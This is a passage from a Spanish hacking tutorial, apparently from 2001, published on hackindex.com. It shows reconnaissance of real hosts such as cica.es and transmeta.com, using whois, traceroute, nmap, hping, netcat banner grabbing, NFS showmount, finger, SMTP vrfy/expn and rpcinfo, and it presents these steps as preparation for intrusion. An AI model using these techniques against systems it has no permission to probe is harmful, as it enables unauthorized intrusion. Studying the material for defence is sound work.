Remote OS guesses: AS5200, Cisco 2501/5260/5300 terminal server IOS 11.3.6(T1), Cisco IOS 11.3 &#8211; 12.0(9)<br />
OS Fingerprint:<br />
TSeq(Class=3DRI%gcd=3D1%SI=3D9600)<br />
T1(Resp=3DY%DF=3DN%W=3D1020%ACK=3DS++%Flags=3DAS%Ops=3DM)<br />
T2(Resp=3DY%DF=3DN%W=3D0%ACK=3DS%Flags=3DAR%Ops=3D)<br />
T3(Resp=3DY%DF=3DN%W=3D1020%ACK=3DS++%Flags=3DAS%Ops=3DM)<br />
T4(Resp=3DY%DF=3DN%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T5(Resp=3DY%DF=3DN%W=3D0%ACK=3DS++%Flags=3DAR%Ops=3D)<br />
T6(Resp=3DY%DF=3DN%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T7(Resp=3DY%DF=3DN%W=3D0%ACK=3DS%Flags=3DAR%Ops=3D)<br />
PU(Resp=3DN)<br />
# Nmap run completed at Sun AugÂ  6 19:40:12 2000 &#8212; 1 IP address (1 host up) scanned in 26 seconds</p>
<p>VemosÂ  que seÂ  trata efectivamenteÂ  deÂ  un CiscoÂ  Terminal RouterÂ  IOS<br />
11.3-12.0 y que filtra tambien esos dos puertos.<br />
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
Si hacemos un fping a <a href="http://www.cica.es">www.cica.es</a></p>
<p>#&gt;hping <a href="http://www.cica.es">www.cica.es</a> -S -p 80<br />
ppp0 default routing interface selected (according to /proc)<br />
HPING <a href="http://www.cica.es">www.cica.es</a> (ppp0 150.214.5.77): S set, 40 headers + 0 data bytes<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D0 ttl=3D243 id=3D4427 win=3D9112 rtt=3D188.4 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D1 ttl=3D243 id=3D4428 win=3D9112 rtt=3D200.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D2 ttl=3D243 id=3D4429 win=3D9112 rtt=3D210.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D3 ttl=3D243 id=3D4430 win=3D9112 rtt=3D200.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D4 ttl=3D243 id=3D4431 win=3D9112 rtt=3D190.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D5 ttl=3D243 id=3D4432 win=3D9112 rtt=3D210.1 ms</p>
<p>Paramos con Ctrl-C</p>
<p>&#8212; <a href="http://www.cica.es">www.cica.es</a> hping statistic &#8212;<br />
6 packets tramitted, 6 packets received, 0% packet loss<br />
round-trip min/avg/max =3D 188.4/199.9/210.2 ms<br />
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
yÂ  observamosÂ  queÂ Â  elÂ  flag=3DSAÂ  indicaÂ  queÂ  elÂ Â  puertoÂ  80Â  esta<br />
efectivamente abierto. Pero si hacemos hping al puerto 119</p>
<p>#&gt;hping <a href="http://www.cica.es">www.cica.es</a> -S -p 119<br />
ppp0 default routing interface selected (according to /proc)<br />
HPING <a href="http://www.cica.es">www.cica.es</a> (ppp0 150.214.5.77): S set, 40 headers + 0 data bytes</p>
<p>&#8212; <a href="http://www.cica.es">www.cica.es</a> hping statistic &#8212;<br />
13 packets tramitted, 0 packets received, 100% packet loss<br />
round-trip min/avg/max =3D 0.0/0.0/0.0 msÂ Â Â Â Â Â Â Â Â </p>
<p>Efectivamente, esta vez noÂ  tenemos ninguna respuesta y debemos pensar<br />
que el cortafuegos/o enrutador (Cisco ultimate server) la detuvo. =BFO<br />
tal vezÂ  el propioÂ  host tenia filtroÂ  de paquetes?. SiÂ  utilizamos de<br />
nuevo nmap y escaneamos toda la subred en los puertos 119 y123:</p>
<p>#&gt;nmap -sS -p119,123 <a href="http://www.cica.es/24">www.cica.es/24</a></p>
<p>obtenemos enÂ  todos losÂ  casos que losÂ  hosts tienen esosÂ  dos puertos<br />
filtrados: Mucha casualidad va aÂ  ser que cada host utilice un sistema<br />
de filtradoÂ  en dichos puertosÂ  <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Lo masÂ  aplastante es queÂ  el host<br />
130.206.194.10Â  disponga unasÂ  rglasÂ  de firewallÂ  que filtrenÂ  dichos<br />
puertos a todos los hosts a los que apunta.</p>
<p>De lasÂ  cuestiones acerca de losÂ  tipos de cortafuegosÂ  y las tecnicas<br />
para traspasarlos nos dedicaremosÂ  en el capitulo destinado al ataque,<br />
como ya dije antes.</p>
<p>LaÂ  exploracion deÂ  los puertosÂ  de unÂ  cortafuegos esÂ  util,Â  pero la<br />
mayoria noÂ  escuchan en puertos predeterminados.Â  La identificacion de<br />
algunosÂ  cortafuegosÂ  puede hacerseÂ  siÂ  tenemosÂ  suerteÂ  de modoÂ  muy<br />
sencilloÂ  leyendo ciertosÂ  mensajesÂ  de identificacionÂ  que muchosÂ  de<br />
ellos presentan. Con laÂ  utilidad netcat podemos conectarnos al puerto<br />
21 del posible cortafuegos</p>
<p>#&gt;nc -v -n 192.168.51.129 21<br />
(UNKNOWN) [192.168.51.129] 21 (?) open<br />
220 Secure Gateway FTP server ready</p>
<p>#&gt;nc -v -n 192.168.51.129 23<br />
(UNKNOWN) [192.168.51.129] 23 (?) open<br />
Eagle Secure Gateway<br />
Hostname:<br />
3. Exportacion de archivos NFS</p>
<p>El Network FileÂ  System (NFS) es un sistema deÂ  red que posibilita que<br />
unÂ  hostÂ  servidor proporcioneÂ  sistemasÂ  deÂ  archivos yÂ  dispositivos<br />
perifericos aÂ  maquinas clientes. SiÂ  el amigo administrador noÂ  es un<br />
lumbrera oÂ  pasa cantidad, puedeÂ  que no haya configuradoÂ  el servidor<br />
NFS adecuadamente&#8230;yÂ  cualquier usuario remoto puedeÂ  tener acceso de<br />
lectura y escritura. Si mediante una exploracion previa se observa que<br />
el puerto 2049 (servidor nfs) de un host esta abierto, con la utilidad<br />
showmount -e podemos conseguir laÂ  lista de exportacion de un servidor<br />
NFS. Si hacemos como root</p>
<p>#&gt;showmount -e objetivo.net<br />
y nos sale algo como<br />
RPC: Port mapper failure &#8211; RPC: Unable to receive<br />
pues nada, no ha habido suerte</p>
<p>pero si nos saliera</p>
<p>#&gt;showmount -e objetivo2.net<br />
export list for objetivo2.net<br />
/pubÂ Â Â Â Â Â Â Â  (everyone)<br />
/homeÂ Â Â Â Â Â Â  (everyone)</p>
<p>yaÂ  podiamos establecer unaÂ  via deÂ  entrada conÂ  ayuda deÂ  los rlogin<br />
 <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> (ya lo veremos en el hacking).</p>
<p>4. Listado de usuarios y grupos</p>
<p>PareceÂ  mentira,Â  peroÂ  algunosÂ  administradores empleanÂ  laÂ  utilidad<br />
fingerÂ  con m=EDnimasÂ  medidas deÂ  seguridad&#8230;y estoÂ  permite obtener<br />
bastanteÂ  informacionÂ  en muchosÂ  casosÂ  paraÂ  ingenieria social,Â  que<br />
aunque yo noÂ  lo considero como una tecnica puraÂ  de hacking, te puede<br />
resolverÂ  elÂ  problemaÂ  <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .Â Â  SupongamosÂ  que elÂ  hostÂ  objetivoÂ  esta<br />
ejecutando el servicio fingerd (puerto 79). Si hacemos como root</p>
<p>#&gt;finger -l @host.objetivo<br />
[host.objetivo]<br />
login:rootÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  name:root<br />
Directory:/rootÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  Shell:/bin/bash<br />
On since Sun Mar 20: 10:15(PST) on tty1. 11 minutes idle<br />
(message off)<br />
On since Sun Mar 20: 10:15(PST) on ttyp0 from :0.0. 3 minute 15 seconds idle<br />
No mail<br />
Plan:<br />
Luke Skywalker<br />
Linux Guru<br />
Telnet password is Lord &#8230; (my father)</p>
<p>Peaso de info (pero, como las peliculas de los intocables, el parecido<br />
con la realidad es pura coincidencia) La informacion proporcionada por<br />
finger en principio deberia serÂ  inocua porque la extrae de los campos<br />
deÂ  /etc/passwd. LoÂ  masÂ  peligroso esÂ  queÂ  indica elÂ  nombre deÂ  los<br />
usuarios conectados y susÂ  tiempos de inactividad. Moreover, cualquier<br />
usuarioÂ  queÂ  tenga unÂ  archivoÂ  .planÂ  oÂ  .project enÂ  suÂ  directorio<br />
particular, la presentara alÂ  hacer finger un merodeador. Los comandos<br />
rwho y rusers muestran los usuarios conectados al host remoto, pero no<br />
danÂ  tanta informacion comoÂ  finger. EsÂ  posible medianteÂ  el servicio<br />
smtpÂ  localizarÂ  usuariosÂ  conÂ  losÂ  mandatosÂ  vrfyÂ  (confirmacionÂ  de<br />
usuarios validos)Â  y expn (direccionesÂ  reales de entrega deÂ  correo y<br />
alias):</p>
<p>$&gt;telnet 192.168.202.34 25<br />
=2E&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<br />
220 mail.bigcorp.com ESMTP Sendmail 8.8.7<br />
vrfy root<br />
250 root &lt;<a href="mailto:root@bigcorp.com">root@bigcorp.com</a>&gt;<br />
expn adm<br />
250 adm &lt;<a href="mailto:adm@bigcorp.com">adm@bigcorp.com</a>&gt;</p>
<p>5. Aplicaciones RPC</p>
<p>RemoteÂ  ProcedureÂ  Call (RPC)tieneÂ  queÂ  verÂ  con interaccionesÂ  entre<br />
procesos=2EÂ  ElÂ  conceptoÂ  deÂ  RPCÂ  esÂ  unaÂ  sencillaÂ  t=E9cnicaÂ  para<br />
desarrollarÂ  aplicaciones dondeÂ  se requiereÂ  laÂ  comunicaci=F3n entre<br />
procesadores que cooperan en un sistema distribuido.</p>
<p>ElÂ  mecanismoÂ  RPC proporcionaÂ  unÂ  servicioÂ  paraÂ  el programadorÂ  de<br />
aplicionesÂ  que leÂ  permite elÂ  uso transparenteÂ  de unÂ  servidor para<br />
proporcionarÂ  alguna actividadÂ  porÂ  parte deÂ  la aplicaci=F3n.Â Â  Esto<br />
efectivamenteÂ  puede serÂ  utilizado paraÂ  interactuar conÂ  un servidor<br />
computacional oÂ  con una BaseÂ  de Datos, yÂ  ha sido usadoÂ  por algunos<br />
sistemas paraÂ  proporcionar acceso a serviciosÂ  del sistema operativo.<br />
El ultimoÂ  uso conocido esÂ  en sistemas basadosÂ  en micro-ordenadores,<br />
queÂ  daÂ Â  unÂ  mejorÂ  resultadoÂ  queÂ  enÂ Â  losÂ  sistemasÂ  tradicionales<br />
encontrados enÂ  la mayoria de sistemasÂ  unix.Â  La ordenÂ  rpcinfo es el<br />
equivalente a finger en la enumeracion de aplicaciones RPC que estan a<br />
la escucha en hosts remotos en los puertos 111 (rpcbind) o 32771 (Sun)<br />
SupongamosÂ  que nuestroÂ  objetivo oÂ  unaÂ  maquina deÂ  su subredÂ  tiene<br />
activo el puerto 111. Si hacemos</p>
<p>#&gt;rpcinfo -p objetivo.net<br />
y obtenemos:</p>
<p>programÂ Â  versÂ Â Â Â  protoÂ Â Â Â  port<br />
100000Â Â Â Â Â Â Â Â Â Â Â Â  2Â Â Â Â Â Â Â Â  tcpÂ Â  111Â  rpcbind<br />
100002Â Â Â Â Â Â Â Â Â Â Â Â  3Â Â Â Â Â Â Â Â  udpÂ Â  712Â  rusersd<br />
100011Â Â Â Â Â Â Â Â Â Â Â Â  2Â Â Â Â Â Â Â Â  udpÂ Â  754Â  rquotad<br />
100005Â Â Â Â Â Â Â Â Â Â Â Â  1Â Â Â Â Â Â Â Â  udpÂ Â  635Â  mountd<br />
100003Â Â Â Â Â Â Â Â Â Â Â Â  2Â Â Â Â Â Â Â Â  udpÂ  2049Â  nfs<br />
100004Â Â Â Â Â Â Â Â Â Â Â Â  2Â Â Â Â Â Â Â Â  tcpÂ Â  778Â  ypserv</p>
<p>Esta informacionÂ  (me salto loÂ  que ahora puede serÂ  superfluo) indica<br />
que seÂ  estan ejecutando rusersd, nfsÂ  e ypserv que esÂ  el servidor de<br />
NIS.Â  NIS (NetworkÂ  Information System)Â  es unÂ  protocolo deÂ  nivel de<br />
aplicacionÂ Â  muyÂ Â Â  utilÂ Â  paraÂ Â  laÂ Â Â  gestionÂ Â  deÂ Â  configuraciones<br />
cliente/servidor enÂ  sistemas unix.Â  Es un sistemaÂ  de basesÂ  de datos<br />
distribuidas queÂ  permiten de maneraÂ  uniforme el almacenamientoÂ  y la<br />
recuperacion de los recursos de red. Como explica Daemond, en lugar de<br />
gestionarÂ  archivosÂ Â  comoÂ  elÂ  /etc/hosts,Â Â  /etc/passwd,Â  /etc/group<br />
independientementeÂ  enÂ  cadaÂ  maquinaÂ  deÂ  la red,Â  estoÂ  permiteÂ  que<br />
solamente hayaÂ  una base de datosÂ  compartida (mapas) porÂ  el resto de<br />
las maquinas clientes en un servidor central. Esto tiene su aquel para<br />
el hacking de sistemas usando ypcat, pero ya lo veremos.</p>
<p>Existen muchosÂ  mas modos de extraer informacion,Â  por ejemplo leyendo<br />
elÂ  codigo de lasÂ  paginas web,Â  estableciendo posiblesÂ  relaciones de<br />
confianzaÂ  (trustedÂ  hostsÂ  conÂ  rlogin),Â  ingenieriaÂ  social,Â  quinta<br />
columna&#8230; pero creo que no esta mal para comenzar.</p>
<p>Aqui termina la segunda entrega.</p>
<p>EnÂ  laÂ  proximaÂ Â  nosÂ  centraremosÂ  enÂ  lasÂ  tecnicasÂ Â  deÂ  hackingÂ  e<br />
introduccion de sistemas mediante fallos de seguridad, desbordamientos<br />
del bufer deÂ  ciertos programas, ataques por fuerzaÂ  bruta, etc. Queda<br />
todaviaÂ  un largoÂ  camino yÂ  luego hayÂ  tecnicasÂ  avanzadas (tunneling<br />
firewalls, hijacking, IP spoofing&#8230;)</p>
<p>Tened cuidado ahi fuera <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p>LECTER</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-ii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Curso prÃ¡ctico de hacking (CPH) I</title>
		<link>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-i/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-i/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:09:33 +0000</pubDate>
		<dc:creator>Lecter</dc:creator>
				<category><![CDATA[Acceso a las cosas remotas]]></category>
		<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[cph]]></category>
		<category><![CDATA[curso de hacking]]></category>
		<category><![CDATA[hackeando]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[lecter]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=186</guid>
		<description><![CDATA[Curso prÃ¡ctico de exploraciÃ³n en cuatro entregas, explicando todos los pasos desde la obtenciÃ³n de informaciÃ³n hasta el acceso, orientado a sistemas UNIX. Parte I.


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Curso prÃ¡ctico de hacking I<br />
Autor: Lecter<br />
Tema: Acceso a las cosas remotas</p>
<p>La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificaciÃ³n alguna.</p>
<p>Queda extrictamente prohibida su distribuciÃ³n con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>CURSO PRACTICO DE HACKING</p>
<p>Despues de muchas consideraciones acerca de la utilidad de un<br />
protocursillo sobre &#8220;hacking&#8221; he decidido ofrecerlo a los estudiosos y<br />
serios seguidores de es.comp.hackers. Estos capitulos que entregare<br />
durante las siguientes semanas tienen por objeto servir de ayuda a los<br />
que estan empezando en el mundillo del hacking con sanas intenciones y<br />
no para quedarse en lamers o chicos del script (script kiddies) que lo<br />
que hacen es destrozar con armas hechas por otros y que en el fondo ni<br />
comprenden profundamente.</p>
<p>Ruego encarecidamente a los demas miembros del HACKINDEX, como mi<br />
amigo NBK, Seldon, Lokutus, Isocrono, Crino, etc&#8230; que lo usen como<br />
borrador para mejorarlo (si es que quieren tomarse la molestia) e<br />
incluirlo en alguna pagina web destinada a ello. El texto sera llano y<br />
sin tildes para evitar problemas de lectura y esta escrito con el<br />
editor vi. El cursillo (Curso Practico de Hacking o CPH) pretende ser<br />
por entregas dedicadas a cada uno de los pasos fundamentales en el<br />
hacking de una maquina objetivo remota. Cuando me refiero a hacking no<br />
quiere eso decir que me considere yo un hacker ni guru ni ninguna<br />
gaita de esas, sino que es para aproximarme claramente al tema de la<br />
introduccion en sistemas de comprometida seguridad. Hare referencia<br />
fundamentalmente al mundo UNIX y las herramientas seran tambien<br />
programas de aromas unix, scripts en perl o codigo en C. Yo recomiendo<br />
encarecidamente que os aprovisioneis de un sistema Linux para estos<br />
menesteres, ya que la mayoria de las utilidades de red vienen<br />
incluidas, disponemos de un excelente compilador de C, del lenguaje<br />
perl, Tcl, python&#8230; asi como de la posibilidad de instalar muchos<br />
paquetes escritos para unix/linux como Saint, nmap, Nessus&#8230;y un<br />
largo etcetera de ventajas con respecto a Mac o al Windoze.</p>
<p>El estudiante novato debera leer antes que nada la FAQ del grupo, que<br />
puede encontrarla en la pagina de isocrono<br />
(http://www.navegalia.com/hosting/00084/isocrono) tanto la del 98 y 99<br />
como la ultima del 2000. Y hacer hincapie en el &#8220;decalogo del<br />
hacker&#8221;. Hay que aprender por puro deleite, no para destrozar<br />
sistemas. En fin, he intentado ajustarme a lo que yo pienso que son<br />
los pasos fundamentales en el hacking de sistemas unix:</p>
<p>1. Merodeo y rastreo del objetivo</p>
<p>2. Extraccion de informacion critica del objetivo</p>
<p>3. Introduccion en el sistema</p>
<p>4. Aumento de privilegios (acceso a root, si la introduccion no<br />
conduce directamente a el)</p>
<p>5. Maniobras oscuras (evitando ser notados, instalando sniffers,<br />
dejando puertas traseras y troyanos)</p>
<p>6. Eliminando huellas</p>
<p>Aqui va el primer capitulo.</p>
<p>Saludos a todos,</p>
<p>LECTER</p>
<p>CPH. CAPITULO 1. MERODEO Y RASTREO DEL OBJETIVO</p>
<p>Un explorador no explora a tontas y locas&#8230;sabe bien cual es su<br />
objetivo=2E Por lo tanto, lo que evidentemente hemos de subrayar como<br />
fundamental es la informacion que tenemos del sistema objetivo. Puede<br />
ser que conozcamos su nombre de dominio, su IP, y muchos datos mas,<br />
pero puede ser que para comenzar tengamos algo asi como poco menos que<br />
el nombre de la organizacion o la entidad &#8220;organizacion<br />
objetivo&#8221;. Afortunadamente desde nuestra maquina linux podemos usar la<br />
utilidad whois que permitira hacer consultas en la base de datos<br />
InterNIC, simplemente haciendo</p>
<p>$&gt;whois &#8220;organizacion objetivo&#8221;</p>
<p>y de este modo podremos ver muchos dominios diferentes asociados a tal<br />
entidad. No obstante los servidores de InterNIC truncan los resultados<br />
a 50 items, con lo que puede convenirnos consultar en<br />
http://www.websitez.com, que proporciona todos los registros asociados<br />
con la entidad buscada. Una vez conseguido el listadopodemos consultar<br />
los dominios relacionados (p.ej. objetivo.net) mediante</p>
<p>$&gt;whois objetivo.net</p>
<p>El resultado nos proporciona:<br />
-Domain Name<br />
-Registrar<br />
-Whois server<br />
-Referral ULR<br />
-Name Servers<br />
-Update Date</p>
<p>De este modo conseguimos informacion vinculada el objetivo y los<br />
servidores DNS. Ademas tambien la fecha de actualizacion nos informa<br />
de la precision de la informacion contenida en el objetivo. Si hace<br />
mucho tiempo que no se actualiza, podria estar obsoleta. Pero, una<br />
vez hemos consultado las bases de datos sobre los dominios es menester<br />
hacer lo propio sobre redes para comprobar si hay alguna red real<br />
asociada al dominio objetivo. Para ello podemos usar la base de datos<br />
de ARIN. Para ello haremos</p>
<p>$&gt;whois X.X.X.X@whois.arin.net</p>
<p>donde X.X.X.X es la IP de algun servidor DNS de los ya<br />
vistos. Revisando los datos podemos saber quien es el proveedor<br />
principal de la red central y la clase de red (ya que nos proporciona<br />
el intervalo de IPs) a que nuestro objetivo esta asociado.</p>
<p>Por ejemplo, supongamos que estoy interesado en la empresa transmeta<br />
(donde trabaja Linus Benedict Torvalds) pero no se nada mas.</p>
<p>$&gt;whois &#8220;transmeta&#8221;</p>
<p>[rs.internic.net]</p>
<p>Whois Server Version 1.1</p>
<p>Domain names in the .com, .net, and .org domains can now be registered<br />
with many different competing registrars. Go to<br />
http://www.internic.net for detailed information.</p>
<p>TRANSMETA.ORG<br />
TRANSMETA.NET<br />
TRANSMETA.COM</p>
<p>To single out one record, look it up with &#8220;xxx&#8221;, where xxx is one of<br />
the of the records displayed above. If the records are the same, look<br />
them up with &#8220;=3Dxxx&#8221; to receive a full display for each record.</p>
<p>&gt;&gt;&gt; Last update of whois database: Tue, 1 Aug 00 04:13:33 EDT &lt;&lt;&lt;</p>
<p>The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and<br />
Registrars.</p>
<p>Con esto me pongo a probar. Supongamos que me da por empezar por<br />
transmeta.com</p>
<p>$&gt;whois transmeta.com</p>
<p>[rs.internic.net]</p>
<p>Whois Server Version 1.1</p>
<p>Domain names in the .com, .net, and .org domains can now be registered<br />
with many different competing registrars. Go to<br />
http://www.internic.net for detailed information.</p>
<p>Domain Name: TRANSMETA.COM<br />
Registrar: NETWORK SOLUTIONS, INC.<br />
Whois Server: whois.networksolutions.com<br />
Referral URL: www.networksolutions.com<br />
Name Server: NS1.TRANSMETA.COM<br />
Name Server: NS2.TRANSMETA.COM<br />
Updated Date: 06-jan-2000</p>
<p>&gt;&gt;&gt; Last update of whois database: Tue, 1 Aug 00 04:13:33 EDT &lt;&lt;&lt;</p>
<p>The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and<br />
Registrars.</p>
<p>Bueno&#8230;no se actualiza desde enero de 2000, pero me interesa. Voy a<br />
utilizar la utilidad nslookup para conseguir las IPs de transmeta.com<br />
y los dos DNS servers De este modo consigo</p>
<p>Name: transmeta.com<br />
Addresses: 209.10.41.231, 209.10.41.232 (puede ser una pagina web y su espejo o gemelo)<br />
Name: ns1.transmeta.com<br />
Address: 209.10.41.227<br />
Name: ns2.transmeta.com<br />
Address: 209.10.217.68</p>
<p>Ahora voy a buscar si existe una red global que contenga el objetivo:</p>
<p>$&gt;whois 209.10.41.227@whois.arin.net</p>
<p>[whois.arin.net]<br />
Globix Corporation (NETBLK-GLOBIXBLK3)<br />
295 Lafayette St- 3rd Fl<br />
NY, NY 10012</p>
<p>Netname: GLOBIXBLK3<br />
Netblock: 209.10.0.0 &#8211; 209.11.159.255<br />
Maintainer: PFMC</p>
<p>Coordinator:<br />
Hostmaster, Globix Corporation (GCH2-ARIN) arin-admin@GLOBIX.NET<br />
212.334.8500 (FAX) 212.334.8615</p>
<p>Domain System inverse mapping provided by:</p>
<p>Z1.NS.NYC1.GLOBIX.NET 209.10.66.55<br />
Z1.NS.SJC1.GLOBIX.NET 209.10.34.55<br />
Z1.NS.LHR1.GLOBIX.NET 212.111.32.38</p>
<p>ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE</p>
<p>Record last updated on 10-Jul-2000.<br />
Database last updated on 1-Aug-2000 06:07:11 EDT.</p>
<p>The ARIN Registration Services Host contains ONLY Internet<br />
Network Information: Networks, ASN&#8217;s, and related POC&#8217;s.<br />
Please use the whois server at rs.internic.net for DOMAIN related<br />
Information and whois.nic.mil for NIPRNET Information.</p>
<p>De este modo hemos sabido que la red global es GLOBIXBLK3 de Globix<br />
Corporation y que va desde la IP 209.10.0.0 hasta la<br />
209.11.159.255. Tambien se nos ofrecen datos acerca del Coordinador<br />
que muy bien podrian servir para ciertas tecnicas de ingenieria social<br />
 <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Ahora no vendria nada mal determinar algo de la topologia rutas de<br />
acceso potencial de la red. Con el programa traceroute podemos<br />
descubrir la secuencia de hosts hasta llegar al objetivo e identificar<br />
dispositivos de control de acceso como routers o cortafuegos.</p>
<p>$&gt; traceroute transmeta.com</p>
<p>1 SEVI-X9.red.retevision.es (62.81.56.41) 138.486 ms 119.613 ms 130.83 ms<br />
2 SEVI-R1.red.retevision.es (62.81.56.28) 139.057 ms SEVI-R3.red.retevision.es (62.81.56.27) 120.209 ms SEVI-R1.red.retevision.es (62.81.56.28) 129.753 ms<br />
3 SEVI-R15.red.retevision.es (62.81.55.229) 120.721 ms 119.941 ms 129.843 ms<br />
4 BARC-R16.red.retevision.es (62.81.125.3) 139.933 ms 139.88 ms 150.833 ms<br />
5 BARC-R0.red.retevision.es (62.81.63.193) 159.007 ms 139.807 ms 149=2E913 ms<br />
6 mi4-retevision-E3-2-es.seabone.net (195.22.192.229) 161.544 ms 159.903 ms 159.887 ms<br />
7 gi-eth-2-mi5.seabone.net (195.22.205.235) 239.99 ms 159.912 ms 159=2E894 ms<br />
8 itmil201-ta-p5-1-0.ebone.net (195.158.241.117) 159.935 ms 149.876 ms 169.88 ms<br />
9 chgen102-tc-p0-1.ebone.net (195.158.241.37) 189.92 ms 169.909 ms 169.884 ms<br />
10 chgen101-tc-p3-0.ebone.net (195.158.237.34) 180.842 ms * 240.1 ms<br />
11 frpar205-tc-p1-0.ebone.net (195.158.228.22) 189.865 ms 178.867 ms 180.005 ms<br />
12 gblon303-tc-p1-0.ebone.net (195.158.228.150) 199.884 ms 199.848 ms 189.897 ms<br />
13 gblon504-tc-p1-0.ebone.net (195.158.232.33) 199.908 ms 199.824 ms 199.944 ms<br />
14 195.158.232.66 (195.158.232.66) 189.855 ms 189.901 ms 199.922 ms<br />
15 pos5-0-0-core2.lhr1.globix.net (209.10.12.197) 189.851 ms * pos2-2-core1.lhr1.globix.net (209.10.12.193) 230.109 ms<br />
16 170.atm0-0-core2.sjc1.globix.net (209.10.11.70) 359.851 ms 146.atm0-0-core2.sjc1.globix.net (209.10.11.46) 369.861 ms 359.918 ms<br />
17 pos5-0-0-aggr1.sjc1.globix.net (209.10.3.30) 359.882 ms 359.847 ms 370.234 ms<br />
18 v2-edge2.sjc1.globix.net (209.10.3.22) 359.627 ms 369.855 ms 359.959 ms<br />
19 www1.transmeta.com (209.10.41.231) 369.915 ms 379.868 ms 369.896 ms</p>
<p>Por fin&#8230;Parece ser que el =FAltimo eslabon es el servidor web<br />
www1.transmeta.com(una de las IP de transmeta.com, la otra sera el<br />
gemelo www2.transmeta.com) y el anterior a el podria ser un router<br />
frontera. Para conocer los registros de Mail eXchange (MX), es decir<br />
las maquinas que gestionan el correo de nuestro objetivo existe la<br />
utilidad host. Al hacer</p>
<p>$&gt;host transmeta.com</p>
<p>transmeta.com has address 209.10.41.232<br />
transmeta.com has address 209.10.41.231<br />
transmeta.com mail is handled (pri=3D40) by neosilicon.transmeta.com</p>
<p>obtengo el nombre del sistema que gestiona el correo. Esto es<br />
fundamental porque generalmente en los entornos comerciales el correo<br />
se administra en el mismo sistema que el cortafuegos. Con un nslookup<br />
descubrimos que la IP de neosilicon.transmeta.com es 209.10.217.68.</p>
<p>Bueno. Hasta ahora disponemos de una lista de direcciones Ip de red,<br />
servidores DNS, de correo y otras yerbas&#8230;pero =BFsabemos que<br />
sistemas estan activos y accesibles via internet?=BFy que puertos<br />
estan a la escucha? Bien, eso vamos a arreglarlo<br />
inmediatamente. Podriamos hacer barridos ping enviando paquetes ICMP<br />
ECHO(8) para recibir ICMP ECHO REPLY (0) si el destino esta<br />
activo. Mejor que ping es la herramienta fping que &#8220;pregunta&#8221; en<br />
paralelo y permite barrer rapidamente varias direcciones IP. Fping se<br />
usa mediante shell scripts con la utilidad gping (que viene incluida<br />
en fping) junto con el intervalo de IP, por ejemplo</p>
<p>$&gt;gping 209 10 0 0 254 (equivale a 209.10.0.0-209.10.0.254)</p>
<p>devolvera la IP junto con &#8220;is alive&#8221; si el host esta activo&#8230;pero<br />
vamos a pasar a la utilidad mas interesante para la exploracion que es<br />
nmap (www.insecure.org/nmap. Nmap no es solamente un explorador de<br />
puertos: permite hacer como fping barridos ping y determinar el<br />
